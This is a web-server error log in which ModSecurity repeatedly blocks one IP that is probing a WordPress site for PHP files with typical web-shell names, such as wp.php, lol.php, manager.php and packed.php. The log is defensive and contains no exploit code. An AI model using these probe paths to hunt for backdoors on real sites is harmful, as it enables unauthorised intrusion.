[Sat Dec 13 21:45:39.578851 2025] [:error] [pid 43748:tid 43783] [client 4.194.162.164:1673] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aT1uA6rTT0VzE3gYjcC1aAAAAEQ"]
[Sat Dec 13 21:45:40.772081 2025] [:error] [pid 55071:tid 55087] [client 4.194.162.164:54171] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aT1uBMHSpNduhEZ_mjffKAAAAY4"]
[Sat Dec 13 21:45:42.227069 2025] [:error] [pid 21342:tid 21352] [client 4.194.162.164:1671] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aT1uBvBL0VVSMIEvqsuJ0AAAAwY"]
[Sat Dec 13 21:45:43.336795 2025] [:error] [pid 21342:tid 21368] [client 4.194.162.164:1408] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aT1uB_BL0VVSMIEvqsuJ1QAAAxY"]
[Sat Dec 13 21:45:44.637013 2025] [:error] [pid 23013:tid 23030] [client 4.194.162.164:60141] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aT1uCKs9bDNWPQXUW1aoWwAAA88"]
[Sat Dec 13 21:45:46.007482 2025] [:error] [pid 22505:tid 22515] [client 4.194.162.164:1412] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aT1uCjvNI-35hW16TnUkqwAAA4g"]
[Sat Dec 13 21:45:46.870056 2025] [:error] [pid 22505:tid 22507] [client 4.194.162.164:1445] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aT1uCjvNI-35hW16TnUkrQAAA4A"]
[Sat Dec 13 21:45:47.664921 2025] [:error] [pid 43836:tid 43841] [client 4.194.162.164:60149] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aT1uC2AEOBirsxb11nYHMAAAAMM"]
[Sat Dec 13 21:45:49.151163 2025] [:error] [pid 43836:tid 43852] [client 4.194.162.164:58080] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aT1uDWAEOBirsxb11nYHMQAAAM4"]
[Sat Dec 13 21:45:49.620933 2025] [:error] [pid 21342:tid 21361] [client 4.194.162.164:60131] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aT1uDfBL0VVSMIEvqsuJ3wAAAw8"]
[Sat Dec 13 21:45:50.099742 2025] [:error] [pid 43836:tid 43839] [client 4.194.162.164:58104] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aT1uDmAEOBirsxb11nYHMgAAAME"]
[Sat Dec 13 21:45:50.876925 2025] [:error] [pid 39287:tid 39295] [client 4.194.162.164:60116] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aT1uDjBwBW1JRRoCYqaRZAAAAQY"]
[Sat Dec 13 21:45:51.436318 2025] [:error] [pid 22505:tid 22514] [client 4.194.162.164:60150] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aT1uDzvNI-35hW16TnUkrwAAA4c"]
[Sat Dec 13 21:45:52.462454 2025] [:error] [pid 55071:tid 55076] [client 4.194.162.164:60111] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aT1uEMHSpNduhEZ_mjffKwAAAYM"]
[Sat Dec 13 21:45:53.836989 2025] [:error] [pid 21342:tid 21369] [client 4.194.162.164:54168] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aT1uEfBL0VVSMIEvqsuJ4QAAAxc"]
[Sat Dec 13 21:45:55.027671 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:1675] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aT1uE_BL0VVSMIEvqsuJ4gAAAwo"]
[Sat Dec 13 21:45:56.143954 2025] [:error] [pid 39287:tid 39304] [client 4.194.162.164:54153] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aT1uFDBwBW1JRRoCYqaRZgAAAQ8"]
[Sat Dec 13 21:45:57.547977 2025] [:error] [pid 23013:tid 23033] [client 4.194.162.164:1717] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aT1uFas9bDNWPQXUW1aoYQAAA9I"]
[Sat Dec 13 21:45:58.097882 2025] [:error] [pid 23013:tid 23039] [client 4.194.162.164:1722] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aT1uFqs9bDNWPQXUW1aoYgAAA9g"]
[Sat Dec 13 21:45:58.687496 2025] [:error] [pid 20799:tid 20807] [client 4.194.162.164:1701] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aT1uFqPz3eVRUTzZpOKKGgAAAsY"]
[Sat Dec 13 21:45:59.380955 2025] [:error] [pid 20799:tid 20814] [client 4.194.162.164:54206] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aT1uF6Pz3eVRUTzZpOKKGwAAAs0"]
[Sat Dec 13 21:46:00.866598 2025] [:error] [pid 43747:tid 43758] [client 4.194.162.164:1468] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aT1uGJYw3twBd_JQEHhDaAAAAAc"]
[Sat Dec 13 21:46:01.480879 2025] [:error] [pid 20799:tid 20823] [client 4.194.162.164:56376] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aT1uGaPz3eVRUTzZpOKKHAAAAtY"]
[Sat Dec 13 21:46:02.586818 2025] [:error] [pid 43836:tid 43838] [client 4.194.162.164:54173] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aT1uGmAEOBirsxb11nYHRAAAAMA"]
[Sat Dec 13 21:46:03.225140 2025] [:error] [pid 20799:tid 20809] [client 4.194.162.164:58439] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aT1uG6Pz3eVRUTzZpOKKHgAAAsg"]
[Sat Dec 13 21:46:03.659126 2025] [:error] [pid 43836:tid 43857] [client 4.194.162.164:54466] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aT1uG2AEOBirsxb11nYHSAAAANM"]
[Sat Dec 13 21:46:04.195270 2025] [:error] [pid 21342:tid 21358] [client 4.194.162.164:58150] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aT1uHPBL0VVSMIEvqsuJ9AAAAww"]
[Sat Dec 13 21:46:04.676779 2025] [:error] [pid 43836:tid 43856] [client 4.194.162.164:54207] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aT1uHGAEOBirsxb11nYHSQAAANI"]
[Sat Dec 13 21:46:05.966000 2025] [:error] [pid 8242:tid 8269] [client 4.194.162.164:54469] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aT1uHSNKA7vSGNUfnOFBFwAAAlU"]
[Sat Dec 13 21:46:07.099456 2025] [:error] [pid 21342:tid 21355] [client 4.194.162.164:58437] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aT1uH_BL0VVSMIEvqsuJ-AAAAwk"]
[Sat Dec 13 21:46:07.912358 2025] [:error] [pid 43747:tid 43763] [client 4.194.162.164:58456] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aT1uH5Yw3twBd_JQEHhDdAAAAAw"]
[Sat Dec 13 21:46:13.481730 2025] [:error] [pid 43747:tid 43772] [client 4.194.162.164:58433] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aT1uJZYw3twBd_JQEHhDhwAAABU"]
[Sat Dec 13 21:46:14.795316 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:1072] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aT1uJvBL0VVSMIEvqsuJ_AAAAwo"]
[Sat Dec 13 21:46:15.197484 2025] [:error] [pid 22505:tid 22526] [client 4.194.162.164:56372] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aT1uJzvNI-35hW16TnUkxQAAA5M"]
[Sat Dec 13 21:46:15.861727 2025] [:error] [pid 39287:tid 39297] [client 4.194.162.164:54470] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aT1uJzBwBW1JRRoCYqaRdwAAAQg"]
[Sat Dec 13 21:46:16.354160 2025] [:error] [pid 43748:tid 43792] [client 4.194.162.164:58453] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aT1uKKrTT0VzE3gYjcC1dAAAAE0"]
[Sat Dec 13 21:46:17.241031 2025] [:error] [pid 43747:tid 43760] [client 4.194.162.164:56337] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aT1uKZYw3twBd_JQEHhDiQAAAAk"]
[Sat Dec 13 21:46:18.490609 2025] [:error] [pid 21342:tid 21360] [client 4.194.162.164:58445] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aT1uKvBL0VVSMIEvqsuKAwAAAw4"]
[Sat Dec 13 21:46:19.776704 2025] [:error] [pid 20799:tid 20810] [client 4.194.162.164:58171] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aT1uK6Pz3eVRUTzZpOKKJQAAAsk"]
[Sat Dec 13 21:46:20.983761 2025] [:error] [pid 55071:tid 55093] [client 4.194.162.164:1037] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aT1uLMHSpNduhEZ_mjffPAAAAZQ"]
[Sat Dec 13 21:46:21.943496 2025] [:error] [pid 43748:tid 43788] [client 4.194.162.164:57577] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aT1uLarTT0VzE3gYjcC1dwAAAEk"]
[Sat Dec 13 21:46:23.073384 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:58058] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aT1uLyNKA7vSGNUfnOFBIAAAAks"]
[Sat Dec 13 21:46:23.511568 2025] [:error] [pid 55071:tid 55085] [client 4.194.162.164:56776] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aT1uL8HSpNduhEZ_mjffPgAAAYw"]
[Sat Dec 13 21:46:24.294993 2025] [:error] [pid 43748:tid 43787] [client 4.194.162.164:54661] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aT1uMKrTT0VzE3gYjcC1eAAAAEg"]
[Sat Dec 13 21:46:24.813882 2025] [:error] [pid 43836:tid 43842] [client 4.194.162.164:56770] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aT1uMGAEOBirsxb11nYHVgAAAMQ"]
[Sat Dec 13 21:46:25.602100 2025] [:error] [pid 43836:tid 43844] [client 4.194.162.164:54708] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aT1uMWAEOBirsxb11nYHVwAAAMY"]
[Sat Dec 13 21:46:26.174729 2025] [:error] [pid 22505:tid 22510] [client 4.194.162.164:43783] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/usep.php"] [unique_id "aT1uMjvNI-35hW16TnUkzAAAA4M"]
[Sat Dec 13 21:46:27.109351 2025] [:error] [pid 43836:tid 43857] [client 4.194.162.164:56816] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aT1uM2AEOBirsxb11nYHWAAAANM"]
[Sat Dec 13 21:46:27.915228 2025] [:error] [pid 8242:tid 8264] [client 4.194.162.164:43828] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aT1uMyNKA7vSGNUfnOFBJQAAAlA"]
[Sat Dec 13 21:46:29.035512 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:53730] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aT1uNfBL0VVSMIEvqsuKDwAAAwI"]
[Sat Dec 13 21:46:29.612126 2025] [:error] [pid 43747:tid 43755] [client 4.194.162.164:1195] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auth.php"] [unique_id "aT1uNZYw3twBd_JQEHhDlQAAAAQ"]
[Sat Dec 13 21:46:30.180801 2025] [:error] [pid 23013:tid 23026] [client 4.194.162.164:1634] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aT1uNqs9bDNWPQXUW1aofwAAA8s"]
[Sat Dec 13 21:46:31.060662 2025] [:error] [pid 20799:tid 20813] [client 4.194.162.164:41930] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aT1uN6Pz3eVRUTzZpOKKMAAAAsw"]
[Sat Dec 13 21:46:31.628325 2025] [:error] [pid 43747:tid 43771] [client 4.194.162.164:41934] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aT1uN5Yw3twBd_JQEHhDlwAAABQ"]
[Sat Dec 13 21:46:32.654734 2025] [:error] [pid 21342:tid 21359] [client 4.194.162.164:41969] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/packed.php"] [unique_id "aT1uOPBL0VVSMIEvqsuKFAAAAw0"]
[Sat Dec 13 21:46:33.321861 2025] [:error] [pid 21342:tid 21367] [client 4.194.162.164:41947] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aT1uOfBL0VVSMIEvqsuKFQAAAxU"]
